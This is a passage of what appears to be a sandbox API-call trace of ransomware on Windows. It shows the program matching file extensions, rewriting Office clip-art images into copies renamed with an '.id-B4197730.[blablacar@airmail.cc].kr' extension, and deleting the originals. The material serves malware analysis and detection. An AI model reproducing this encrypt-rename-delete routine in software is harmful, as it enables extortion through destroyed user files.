lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.009] lstrlenW (lpString=".zip") returned 4 [0201.009] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.009] lstrlenW (lpString=".rar") returned 4 [0201.009] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.009] lstrlenW (lpString=".bz2") returned 4 [0201.009] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.009] lstrlenW (lpString=".7z") returned 3 [0201.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString=".dbf") returned 4 [0201.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString=".1cd") returned 4 [0201.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString=".jpg") returned 4 [0201.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString=".doc") returned 4 [0201.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.010] lstrlenW (lpString=".docx") returned 5 [0201.010] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0201.010] lstrlenW (lpString=".pdf") returned 4 [0201.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.010] lstrlenW (lpString=".xls") returned 4 [0201.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.010] lstrlenW (lpString=".xlsx") returned 5 [0201.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0201.010] lstrlenW (lpString=".ppt") returned 4 [0201.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.010] lstrlenW (lpString=".zip") returned 4 [0201.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.010] lstrlenW (lpString=".rar") returned 4 [0201.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.010] lstrlenW (lpString=".bz2") returned 4 [0201.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.010] lstrlenW (lpString=".7z") returned 3 [0201.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.011] lstrlenW (lpString=".dbf") returned 4 [0201.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.011] lstrlenW (lpString=".1cd") returned 4 [0201.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0201.011] lstrlenW (lpString=".jpg") returned 4 [0201.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.011] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.011] lstrlenW (lpString="J0099154.JPG") returned 12 [0201.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.011] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6929) returned 1 [0201.012] CloseHandle (hObject=0x3f8) returned 1 [0201.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0201.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.012] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.012] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.013] GetLastError () returned 0x0 [0201.013] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x568, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0201.016] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.016] WriteFile (in: hFile=0x568, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0201.016] SetEndOfFile (hFile=0x568) returned 1 [0201.016] CloseHandle (hObject=0x568) returned 1 [0201.016] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.016] SetEndOfFile (hFile=0x3f8) returned 1 [0201.019] CloseHandle (hObject=0x3f8) returned 1 [0201.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0201.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.269] lstrlenW (lpString=".doc") returned 4 [0201.269] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.269] lstrlenW (lpString=".docx") returned 5 [0201.269] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0201.269] lstrlenW (lpString=".pdf") returned 4 [0201.270] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.270] lstrlenW (lpString=".xls") returned 4 [0201.270] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.270] lstrlenW (lpString=".xlsx") returned 5 [0201.270] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0201.270] lstrlenW (lpString=".ppt") returned 4 [0201.270] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.270] lstrlenW (lpString=".zip") returned 4 [0201.270] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.270] lstrlenW (lpString=".rar") returned 4 [0201.270] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.270] lstrlenW (lpString=".bz2") returned 4 [0201.270] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.270] lstrlenW (lpString=".7z") returned 3 [0201.270] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.270] lstrlenW (lpString=".dbf") returned 4 [0201.270] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.270] lstrlenW (lpString=".1cd") returned 4 [0201.270] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.270] lstrlenW (lpString=".jpg") returned 4 [0201.270] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString=".doc") returned 4 [0201.271] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.271] lstrlenW (lpString=".docx") returned 5 [0201.271] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0201.271] lstrlenW (lpString=".pdf") returned 4 [0201.271] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.271] lstrlenW (lpString=".xls") returned 4 [0201.271] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.271] lstrlenW (lpString=".xlsx") returned 5 [0201.271] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0201.271] lstrlenW (lpString=".ppt") returned 4 [0201.271] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString=".zip") returned 4 [0201.271] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.271] lstrlenW (lpString=".rar") returned 4 [0201.271] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.271] lstrlenW (lpString=".bz2") returned 4 [0201.271] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.271] lstrlenW (lpString=".7z") returned 3 [0201.271] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString=".dbf") returned 4 [0201.271] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString=".1cd") returned 4 [0201.271] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0201.271] lstrlenW (lpString=".jpg") returned 4 [0201.271] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.272] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.272] lstrlenW (lpString="J0099160.JPG") returned 12 [0201.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.755] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=15145) returned 1 [0201.755] CloseHandle (hObject=0x560) returned 1 [0201.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0202.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.876] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.876] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.877] GetLastError () returned 0x0 [0202.877] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3b29, lpOverlapped=0x0) returned 1 [0202.879] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3b30, lpOverlapped=0x0) returned 1 [0202.880] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.880] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0202.880] SetEndOfFile (hFile=0x540) returned 1 [0202.881] CloseHandle (hObject=0x540) returned 1 [0202.881] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.881] SetEndOfFile (hFile=0x55c) returned 1 [0202.883] CloseHandle (hObject=0x55c) returned 1 [0202.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.884] lstrlenW (lpString=".doc") returned 4 [0202.884] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.884] lstrlenW (lpString=".docx") returned 5 [0202.884] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0202.884] lstrlenW (lpString=".pdf") returned 4 [0202.884] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.884] lstrlenW (lpString=".xls") returned 4 [0202.884] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.885] lstrlenW (lpString=".xlsx") returned 5 [0202.885] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0202.885] lstrlenW (lpString=".ppt") returned 4 [0202.885] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString=".zip") returned 4 [0202.885] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.885] lstrlenW (lpString=".rar") returned 4 [0202.885] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.885] lstrlenW (lpString=".bz2") returned 4 [0202.885] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.885] lstrlenW (lpString=".7z") returned 3 [0202.885] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString=".dbf") returned 4 [0202.885] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString=".1cd") returned 4 [0202.885] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString=".jpg") returned 4 [0202.885] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.885] lstrlenW (lpString=".doc") returned 4 [0202.885] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.885] lstrlenW (lpString=".docx") returned 5 [0202.885] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0202.885] lstrlenW (lpString=".pdf") returned 4 [0202.885] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.885] lstrlenW (lpString=".xls") returned 4 [0202.885] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.886] lstrlenW (lpString=".xlsx") returned 5 [0202.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0202.886] lstrlenW (lpString=".ppt") returned 4 [0202.886] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.886] lstrlenW (lpString=".zip") returned 4 [0202.886] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.886] lstrlenW (lpString=".rar") returned 4 [0202.886] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.886] lstrlenW (lpString=".bz2") returned 4 [0202.886] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.886] lstrlenW (lpString=".7z") returned 3 [0202.886] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.886] lstrlenW (lpString=".dbf") returned 4 [0202.886] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.886] lstrlenW (lpString=".1cd") returned 4 [0202.886] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0202.886] lstrlenW (lpString=".jpg") returned 4 [0202.886] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.886] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.886] lstrlenW (lpString="J0099178.WMF") returned 12 [0202.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.887] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3606) returned 1 [0202.887] CloseHandle (hObject=0x55c) returned 1 [0202.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0202.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.888] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.888] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.888] GetLastError () returned 0x0 [0202.889] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xe16, lpOverlapped=0x0) returned 1 [0202.890] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xe20, lpOverlapped=0x0) returned 1 [0202.891] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.891] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0202.891] SetEndOfFile (hFile=0x540) returned 1 [0202.891] CloseHandle (hObject=0x540) returned 1 [0202.891] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.891] SetEndOfFile (hFile=0x55c) returned 1 [0202.894] CloseHandle (hObject=0x55c) returned 1 [0202.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0202.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.895] lstrlenW (lpString=".doc") returned 4 [0202.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.895] lstrlenW (lpString=".docx") returned 5 [0202.895] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0202.895] lstrlenW (lpString=".pdf") returned 4 [0202.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.895] lstrlenW (lpString=".xls") returned 4 [0202.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.895] lstrlenW (lpString=".xlsx") returned 5 [0202.895] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0202.895] lstrlenW (lpString=".ppt") returned 4 [0202.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.895] lstrlenW (lpString=".zip") returned 4 [0202.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.895] lstrlenW (lpString=".rar") returned 4 [0202.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.895] lstrlenW (lpString=".bz2") returned 4 [0202.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.895] lstrlenW (lpString=".7z") returned 3 [0202.895] lstrcmpiW (lpString1=".7z", 